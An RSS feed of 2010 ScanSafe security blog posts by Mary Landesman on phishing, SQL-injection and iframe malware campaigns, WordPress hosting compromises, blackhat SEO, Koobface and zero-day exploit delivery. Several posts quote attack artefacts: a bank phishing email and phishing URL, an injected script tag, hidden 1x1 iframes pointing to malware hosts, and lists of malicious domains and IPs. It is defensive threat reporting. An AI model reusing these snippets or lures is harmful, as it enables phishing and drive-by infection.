<?xml version="1.0" encoding="UTF-8"?>
<!--Generated by Squarespace Site Server v5.11.5 (http://www.squarespace.com/) on Thu, 02 Sep 2010 15:38:28 GMT--><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rss="http://purl.org/rss/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:admin="http://webns.net/mvcb/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:cc="http://web.resource.org/cc/"><rss:channel rdf:about="http://blog.scansafe.com/journal/"><rss:title>ScanSafe Blog</rss:title><rss:link>http://blog.scansafe.com/journal/</rss:link><rss:description></rss:description><dc:language>en-US</dc:language><dc:date>2010-09-02T15:38:29Z</dc:date><admin:generatorAgent rdf:resource="http://www.squarespace.com/">Squarespace Site Server v5.11.5 (http://www.squarespace.com/)</admin:generatorAgent><rss:items><rdf:Seq><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/7/12/phish-with-a-side-of-barbecue.html"/><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/6/9/wsj-a-victim-not-the-source-of-sql-injection.html"/><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/6/8/robintus-a-poster-child-for-repeat-injections.html"/><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/6/1/godaddy-attacks-top-web-malware-in-may.html"/><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/5/12/possible-root-compromise-of-greatandhracom.html"/><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/5/6/wordpress-hacks-not-just-netsol-and-godaddy.html"/><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/5/4/grepadcom-iframe-nets-govt-niche-sites.html"/><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/4/12/google-celeb-searches-lead-to-qooglesearch-malware.html"/><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/4/9/how-massive-is-koobface-really.html"/><rdf:li rdf:resource="http://blog.scansafe.com/journal/2010/4/9/attackers-triple-play-to-deliver-zero-days.html"/></rdf:Seq></rss:items></rss:channel><rss:item rdf:about="http://blog.scansafe.com/journal/2010/7/12/phish-with-a-side-of-barbecue.html"><rss:title>Phish with a Side of Barbecue</rss:title><rss:link>http://blog.scansafe.com/journal/2010/7/12/phish-with-a-side-of-barbecue.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-07-12T18:07:00Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>Looks like the latest Bank of America phishing scam is springboarding off a couple of compromised websites. First, here's a look at the predictably worded phishing email:</p>
<blockquote>
<p>&nbsp;Dear Bank of America Customer,<br /> <br /> We recently have determined that different computers have logged in your Bank of America Online Banking account, and multiple password failures were present before the logons. We now need you to re-confirm your account information to us. If this is not completed by July 31st, 2010, we will be forced to suspend your account indefinitely, as it may have been used for fraudulent purposes. We thank you for your cooperation in this manner. In order to confirm your Online Bank records, we may require some specific information from you.<br /> <br /> To restore your account, please Sign in to Online Banking.</p>
</blockquote>
<p>Here's where victims get sauced. ﻿The link behind "Sign in to Online Banking" actually points to gramsbbq.org/bain. Now grambbq.org is the legitimate website for Gram's Mission Barbecue Palace in Riverside, CA. The gramsbbq.org/bain page is a 302 redirect that leads to a phishing page hosted on a second compromised site: chasingarcadia.com (the website for Canadian band Chasing Arcadia). The actual phishing page is at:</p>
<p>http://www.chasingarcadia.com/channel/safe.sslbankofamerica.com/index.htm</p>
<p>This use of compromised sites as redirectors and phishing host enables the attackers to bypass reputation filters and/or community-based trust reporting. And it increases the collateral damage, because if/when the compromised sites are blacklisted, those businesses could suffer as a result.</p>]]></content:encoded></rss:item><rss:item rdf:about="http://blog.scansafe.com/journal/2010/6/9/wsj-a-victim-not-the-source-of-sql-injection.html"><rss:title>WSJ a Victim, Not the Source, of SQL Injection</rss:title><rss:link>http://blog.scansafe.com/journal/2010/6/9/wsj-a-victim-not-the-source-of-sql-injection.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-06-10T04:13:18Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>As mentioned <a href="http://blog.scansafe.com/journal/2010/6/8/robintus-a-poster-child-for-repeat-injections.html">earlier this week</a>, about 7k pages (not sites) have been struck by SQL injected iframes pointing to malware on robint.us. (That number has been over-inflated by over 100k or even a million due to poorly constructed search queries, which was the subject of the previous post on the topic).</p>
<p>Anyway, in some of the reports, one of the sites claimed to be compromised was that of the Wall Street Journal (WSJ.com). However, ScanSafe investigation reveals the SQL injection attack that appeared on certain pages of the WSJ site weren't the result of compromise on WSJ directly, but rather the result of compromise of a third-party partner.</p>
<p>That partner, adicio.com, provides real estate listings that are in turn displayed on certain pages of the WSJ.com website.</p>
<p>Of course, from a site visitor's perspective, this might seem a bit semantic. But still, it is worth pointing out that it wasn't really wsj.com that was compromised.</p>]]></content:encoded></rss:item><rss:item rdf:about="http://blog.scansafe.com/journal/2010/6/8/robintus-a-poster-child-for-repeat-injections.html"><rss:title>Robint.us a Poster Child for Repeat Injections</rss:title><rss:link>http://blog.scansafe.com/journal/2010/6/8/robintus-a-poster-child-for-repeat-injections.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-06-08T20:59:47Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>One of many SQL injection attacks is getting some blogger attention, largely due to generic searches on the malware domain name. The malicious iframe on the compromised site is:</p>
<p>script src=http://ww.robint.us/u.js</p>
<p>Search on the full iframe with quotes and you get about 7k hits in Google. But search on just the domain name or omit the quotes and you get over a million hits. That's because the more generic search picks up any page that mentions the domain or includes any mix of those keywords. This loosely constructed search mistake causes some to believe the attack is much larger than it really is.</p>
<p>Certainly 7k Web pages compromised is nothing to sneeze at but it's certainly not a million pages and certainly nothing new - many of these same compromised pages have been repeatedly compromised in one SQL injection attack after another since 2007.</p>
<p>On a more positive note, when SQL injection attacks first went mainstream a few years back, it wasn't uncommon to see a million+ pages compromised in a single attack. From that perspective, 7k is a vast improvement and shows that at least many sites are paying attention and taking the appropriate security measures. On the downside, attacks like robint.us are just one of over a thousand unique attacks carried out via the Web each month.</p>]]></content:encoded></rss:item><rss:item rdf:about="http://blog.scansafe.com/journal/2010/6/1/godaddy-attacks-top-web-malware-in-may.html"><rss:title>GoDaddy Attacks Top Web Malware in May</rss:title><rss:link>http://blog.scansafe.com/journal/2010/6/1/godaddy-attacks-top-web-malware-in-may.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-06-01T21:04:19Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>Some interesting stats from May.</p>
<ul>
<li>16196 unique malicious domains. </li>
<li>The top ten malicious domains comprised 23% of all Web malware attacks in May 2010. </li>
<li>Five of the top ten were related to attacks against <a href="http://blog.scansafe.com/journal/2010/5/6/wordpress-hacks-not-just-netsol-and-godaddy.html">GoDaddy-hosted websites</a>, for a total of 14% of all Web malware in May 2010. </li>
<li>Top Web malware was Trojan.JS.Redirector.cq, the majority of which resulted from attacks against GoDaddy-hosted websites. </li>
<li>Gumblar was the second most prevalent Web malware encountered, at 7%. </li>
<li>Third most prevalent Web-distributed malware encountered was Backdoor.Win32.Alureon, at 6%.</li>
</ul>
<p><strong>Top Ten Malicious Domains, May 2010</strong><br /><br />holasionweb.com* - 7%<br />www.sitepalace.com - 3%<br />losotrana.com* - 2%<br />indesignstudioinfo.com* - 2%<br />kdjkfjskdfjlskdjf.com* - 2%<br />easfindnex.org - 2%<br />findermar.org - 2%<br />76.73.33.109 - 2%<br />findrasup.org - 1%<br />zettapetta.com* - 1%<br /><br style="font-size: 70%;" /><span style="font-size: 80%;">*Related to attacks against GoDaddy-hosted websites</span><br /><br /><strong>Top Ten Web Malware, May 2010</strong><br /><br />Trojan.JS.Redirector.cq - 14%<br />Exploit.JS.Gumblar - 7%<br />Backdoor.Win32.Alureon - 6%<br />Exploit.Java.CVE-2009-3867.d - 3%<br />Trojan.JS.Redirector.at - 3%<br />Downloader.JS.Agent.fhx - 2%<br />OI.Backdoor.Win32.Autorun.cx - 2%<br />OI.Win32.Susp.ms - 2%<br />Trojan.Iframe.f - 2%<br />Trojan.GIFIframe.a - 2%</p>]]></content:encoded></rss:item><rss:item rdf:about="http://blog.scansafe.com/journal/2010/5/12/possible-root-compromise-of-greatandhracom.html"><rss:title>Possible Root Compromise of Greatandhra.com</rss:title><rss:link>http://blog.scansafe.com/journal/2010/5/12/possible-root-compromise-of-greatandhracom.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-05-12T19:42:22Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>A new attack emanating from the malware domain v3p2.com may be linked to a possible (alleged) root compromise of greatandhra.com, a news and media site with a worldwide Alexa rating of 2339.</p>
<p>The v3p2.com attack drops a cookie to track victims, checks for the presence of Rising AV or 360Safe antivirus, then exploits the "use after free" vulnerability in Microsoft Internet Explorer versions 6 (including SP1) and 7 (<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806">CVE-2010-0806</a> / <a href="http://www.microsoft.com/technet/security/Bulletin/MS10-018.mspx">MS10-018</a>).</p>
<p>Successful exploit leads to the silent installation of a data theft trojan delivered from n9uo.com. Both attack domains - v3p2.com and n9uo.com - were registered on May 7th. Referrers to the v3p2.com domain indicated the attack was originating from the popular greatandhra.com website.</p>
<p>Coincidentally (or not), greatandhra.com was mentioned on Hack Forums (tagline Packets, Punks, and Posts) on May 2nd for having a vulnerable/accessible mysql.user root entry. A subsequent post to the thread (also on May 2nd) by someone using the moniker jfmherokiller claimed shell access had been gained.</p>
<p>First encounters resulting from these attack began on May 10th, eight days after the initial allegations that root access to greatandhra.com had been gained and three days after the v3p2.com and n9uo.com malware domains were registered.</p>]]></content:encoded></rss:item><rss:item rdf:about="http://blog.scansafe.com/journal/2010/5/6/wordpress-hacks-not-just-netsol-and-godaddy.html"><rss:title>WordPress Hacks: Not Just NetSol and GoDaddy</rss:title><rss:link>http://blog.scansafe.com/journal/2010/5/6/wordpress-hacks-not-just-netsol-and-godaddy.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-05-06T07:36:47Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>Over the past month or so, there have been a series of ongoing compromises which have been interchangeably blamed on WordPress, Network Solutions, or GoDaddy. However, the attacks are occurring on many other hosts as well, including:</p>
<p>1 & 1<br />DreamHost<br />In2Net<br />Hostway<br />Media Temple<br />ServerBeach<br /><br />and several others.﻿ While many of the compromised sites are using WordPress, some are not.</p>
<p>The two main attacks are: (1) the Google / WordPress pharma attacks and (2) the Grepad.com family of attacks that netted Network Solutions hosted sites, some U.S. Treasury sites, and many, many popular niche 'mom and pop' style sites.</p>
<p><strong>Google / WordPress Pharma Hacks</strong></p>
<p>In the Google / WordPress pharma attack, the attackers are targeting popular Web pages and modifying the title tag of those pages to include a pharmaceutical sales pitch. Searches that would normally cause the legitimate site to appear in search engine results pages (SERPs) will also include the manipulated title tag. The link itself still points to the legitimate site, but modifications on the compromised site will cause an automatic redirect to the pharmaceutical site.</p>
<p>Note that many of the sites that appear in Google SERPs for these title tags are not necessarily compromised. Quite often, blog and forum comments will adopt the title tag of the post and spammers are using these same tags. For those that are compromised, currently the redirect points to "thepharmacydiscount.com/group/bestsellers.html?said=<em>compromised.com</em>" where compromised.com equals the name of the legitimate (but compromised site) that is delivering the redirect.</p>
<p>The point behind the Google / WordPress pharma attacks is to leverage the popularity ranking of the compromised sites, which boosts the SERPs ranking for the pharma keywords used.</p>
<p><strong>Grepad.com Attacks</strong></p>
<p>The intent of the Grepad.com family of attacks is not to gain favorable placement in SERPs to peddle counterfeit viagra, but rather to download malware to the site visitors' PCs. Pages on the compromised websites are embedded with hidden iframes that load content from the malware domain. Multiple malware domains have been used in these attacks, including grepad.com, ginopost.com, bigcorpads.com, binglbalts.com, corpadsinc.com, hugeadsorg.com, mainnetsoll.com  and networkads.net. Exploits of multiple vulnerabilities are attemped in order to download this malware. A list of observed exploits can be found <a href="http://blog.scansafe.com/journal/2010/5/4/grepadcom-iframe-nets-govt-niche-sites.html">in this blog post</a>.</p>
<p><strong>Commonalities Between Attacks<br /></strong></p>
<p>In both sets of attacks, the attackers are filtering based on whether the clickthrough to the site is human or a search spider. In the pharma attacks, the malformed title is only presented to search spiders and the redirect only occurs if you click the link from SERPs. If you visit the site directly, by typing in the URL or from a non-SERPs link on another site, the legitimate page will load normally.</p>
<p>The exact opposite is true with the Grepad.com family of attacks. In these cases, the filters suppress the compromise so that search spiders don't see the embedded iframe. If the link is accessed directly (or via a link from a non-search engine), then the iframe will be rendered. However, the attackers also drop a cookie when visitors hit a compromised page and suppress the iframe on subsequent visits.</p>
<p>Filtering is also being done by IP address ranges, operating system, and user_agent to determine when the embedded iframe (or pharma redirect) will occur.</p>
<p><strong>The Million Dollar Question: How?</strong></p>
<p>The why is easy to answer: attackers want to make money. The how is a bit more cloudy.</p>
<p>It appears the attacker is able to read wp-config.php which by necessity contains plaintext credentials for the WordPress database. Normally, wp-config.php should not be externally readable, unless the user has not properly configured file permissions. In any event, once initial access was gained, the attackers inserted or modified entries in the wp-option table for the active WordPress database. In subsequent phases (in the case of the Grepad family), the attackers modified php.ini / .htaccess, uploading malicious scripts which then embed the iframe.</p>
<p>At this point, the attackers have the ability to plant PHP backdoors on the compromised sites, a precedent first set by Gumblar. The presence of the backdoor would allow continued access to the compromised sites, even after file permissions were properly configured or FTP credentials had been changed. And if proper segregation is not done, bleed over to other sites on the same hosted share can still occur.</p>
<p>It's worth noting that the U.S. Bureau of Engraving and Printing (bep.gov and moneyfactory.gov) were compromised in the most recent wave of the Grepad.com attacks. While neither of these sites appear to have been using WordPress, both were hosted by Network Solutions and appear to have been published with Network Solutions Website Builder.</p>]]></content:encoded></rss:item><rss:item rdf:about="http://blog.scansafe.com/journal/2010/5/4/grepadcom-iframe-nets-govt-niche-sites.html"><rss:title>Grepad.com Iframe Nets Gov't, Niche Sites</rss:title><rss:link>http://blog.scansafe.com/journal/2010/5/4/grepadcom-iframe-nets-govt-niche-sites.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-05-04T17:02:46Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>ScanSafe traffic analysis reveals a number of government and popular niche websites have been embedded with a malicious script inserted after the closing html tag. The script first drops a cookie to identify repeat visitors, then loads an iframe pointing to grepad.com. In turn, grepad.com redirects to ginopost.com which attempts to exploit a series of vulnerabilities. Observed exploits include:</p>
<ul>
<li>Adobe Reader and Acrobat util.printf stack-based buffer overflow (CVE-2008-2992)</li>
<li>Adobe Reader and Acrobat getIcon stack-based buffer overflow (CVE-2009-0927)</li>
<li>Office OCX OpenWebFile&nbsp;&nbsp; &nbsp;(BID-33243)</li>
<li>Symantec AppStream LaunchObj ActiveX control (CVE-2008-4388)</li>
<li>Hummingbird PerformUpdateAsync&nbsp;&nbsp; &nbsp;(CVE-2008-4728)</li>
<li>Peachtree ExecutePreferredApplication (CVE-2008-4699)</li>
<li>C6 Messenger propDownloadUrl (CVE-2008-2551)</li>
<li>Internet Explorer memory corruption (MS09-002)</li>
</ul>
<p>The malware host, ginopost.com, was registered on April 25th, using the same IP address (188.124.16.104) as a series of malware hosts that have been engaged in <a href="http://blog.networksolutions.com/2010/we-feel-your-pain-and-are-working-hard-to-fix-this/">attacks on Network Solutions hosted WordPress blogs</a>. Previous malware domains using that IP have included bigcorpads.com, binglbalts.com, corpadsinc.com, hugeadsorg.com, mainnetsoll.com&nbsp; and networkads.net.</p>
<p>Attacks on WordPress-published websites have not been restricted to those hosted by Network Solutions. A separate ongoing series of attacks have also been targeted against WordPress-published sites hosted by GoDaddy.</p>]]></content:encoded></rss:item><rss:item rdf:about="http://blog.scansafe.com/journal/2010/4/12/google-celeb-searches-lead-to-qooglesearch-malware.html"><rss:title>Google Celeb Searches Lead to qooglesearch Malware</rss:title><rss:link>http://blog.scansafe.com/journal/2010/4/12/google-celeb-searches-lead-to-qooglesearch-malware.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-04-13T00:30:41Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>Whatever the latest hot topic is, chances are the blackhat SEO criminals are already poised to cash in. Over this past weekend, ScanSafe saw a surge in celebrity searches leading to malware encounters, mostly rogue scareware. The method of encounter varies by browser type. For example, Internet Explorer users encounter the malware directly after clicking a poisoned search results link, whereas Firefox users are first redirected to the bogus lookalike qooglesearch.com (note the Q in the domain name). The scareware domains vary slightly, but follow the same format:www#.duforing##.xorg.pl (where # signifies a number).</p>
<p>The malicious links in the search engine results pages (SERPs) look innocent enough at first glance:</p>
<p><span class="full-image-block ssNonEditable"><span><img src="http://blog.scansafe.com/storage/post-images/ericabadu.jpg?__SQUARESPACE_CACHEVERSION=1271121877903" alt="" /></span></span></p>
<p>Look more closely however, and you'll note the nonsensical phrasing in the shadowdesigns.co.uk and poshpongs.com results that are sandwiched between mtv.com and last.fm. Equally telling is the ?sdoc=erica+badu appended to those links.</p>
<p>Searching inurl:.php/?sdoc=erica+badu on Google reveals about 400 sites are being used to promote malicious Erica Badu links. A more generic search for inurl:.php/?sdoc= results in even more poisoned listings for various celebs and diverse topics. The Yahoo search engine was also observed dishing up malicious search results over the past weeekend for topics ranging from the CN Tower design to extraterrestrial invasions.</p>]]></content:encoded></rss:item><rss:item rdf:about="http://blog.scansafe.com/journal/2010/4/9/how-massive-is-koobface-really.html"><rss:title>How Massive is Koobface, Really?</rss:title><rss:link>http://blog.scansafe.com/journal/2010/4/9/how-massive-is-koobface-really.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-04-10T03:45:36Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>Koobface is a human-powered worm that sends itself to everyone listed in an infected user's social network. Those who fall for the message, click the link, and install the bogus codec will then perpetuate the worm's spread through their own social networking contacts. But just how likely <em>are </em>users to clickthrough and infect themselves?</p>
<p>In 2009, Koobface comprised considerably less than 1% of all Web malware. A closer look at 2010 data reveals that less than 10% of enterprises actually have users that click a Koobface link. The highest rate was March, when 11% had users that clicked through; the lowest was February at 6%. Of those enterprises that do click through, the median rate per enterprise is only 3 clicks each.</p>
<p>For total volume, in January 2010, Koobface comprised only 0.55% of all Web malware; February was lowest at 0.15%, and March the highest at 3.1%.</p>
<p>Thus far in April, only 1% of enterprises have users that clicked a Koobface link. The median rate for those is 3 clicks each. Currently Koobface comprises only 1% of April Web malware blocks.</p>
<p>However, if you happen to be located in Zimbabwe it's a completely different story. Zimbabwe sports a Koobface-clickthrough rate that's hundreds of times above the norm.</p>]]></content:encoded></rss:item><rss:item rdf:about="http://blog.scansafe.com/journal/2010/4/9/attackers-triple-play-to-deliver-zero-days.html"><rss:title>Attackers Triple Play to Deliver Zero Days</rss:title><rss:link>http://blog.scansafe.com/journal/2010/4/9/attackers-triple-play-to-deliver-zero-days.html</rss:link><dc:creator>Mary Landesman</dc:creator><dc:date>2010-04-09T17:23:06Z</dc:date><dc:subject></dc:subject><content:encoded><![CDATA[<p>ScanSafe STAT has been investigating an ongoing series of attacks which has been a hotbed for zero day exploits over the first quarter of 2010. The attackers are using three layers of legitimate sites. Two layers are compromised websites used to host malicious content that is then subsequently pushed to a third layer of legitimate websites via syndicated ads. In its current rendition, the attacks are being delivered to finanical services themed websites. Previous rounds have been delivered via syndicated ads on Wikia-hosted websites and assorted game forums.<br /><br />The ads pull content from an attacker-planted HTML file contained in the /images directory of the compromised site. (Method of compromise is not known, but it's presumed to be a result of stolen FTP credentials). The path/filename consists of:<br /><br />&lt;<em>compromised site</em>&gt;/images/r.html<br /><br />When deobfuscated, that iframe points to malicious content planted on yet another compromised site:<br /><br />&lt;div style="visibility:hidden"&gt;&lt;iframe src="http://&lt;c<em>ompromised site</em>&gt;/images/onotole.html" width=1 height=1&gt;&lt;/iframe&gt;&lt;/div&gt;<br /><br />Which in turn, is yet another iframe:<br /><br />&lt;div style="visibility:hidden"&gt;&lt;iframe src="http://74.86.40.211/tds/" width=1 height=1&gt;&lt;/iframe&gt;&lt;/div&gt;<br /><br />IPs involved in previous rounds include 212.117.163.201, 212.117.180.54, 208.67.250.106.<br />&nbsp;<br />The current iframe leads to http://ahjcwkbathr.com/ld/wir which creates a script tag to a file on the same domain which contains the exploit code. Through the course of these attacks which began in late January, the attackers have been quick to incorporate the latest zero day du jour. These have included:<br /><br />CVE-2010-0806 Internet Explorer uninitialized memory corruption vulnerability<br />CVE-2009-4324 "use-after-free" vulnerability in Adobe Reader/Acrobat<br />CVE-2009-3867 HsbParser.getSoundBank buffer overflow vulnerability in Sun Java<br /><br />Mixed in with these have been an assortment of older exploits for Adobe Flash, Microsoft DirectShow, and miscellaneous Adobe Reader/Acrobat PDF exploits</p>
<p>Successful exploit leads to the download of a binary (also hosted on the same domain) which in observed cases has been a variant of the Bredolab trojan. <br /><a href=" http://www.virustotal.com/analisis/ef614084582abbeba2609177f33244f5978892ac85a5613a687965a482388b0e-1269983048"><br />http://www.virustotal.com/analisis/ef614084582abbeba2609177f33244f5978892ac85a5613a687965a482388b0e-1269983048</a><br /><br />Bredolab acts as a downloader agent. In the cases we've observed, this particular variant of Bredolab is downloading Zbot/Zeus.</p>
<p>Encounters with these attacks are fairly steady and comprised 1% of all ScanSafe Web malware blocks in March (compared to Gumblar at 17%). What's particularly interesting about these attacks isn't the volume, but rather that they appear to be a vector for rapid deployment of the latest zero day exploits. And while the IP addresses and domain names for the attacker-owned sites have changed, the delivery method has remained constant.</p>]]></content:encoded></rss:item></rdf:RDF>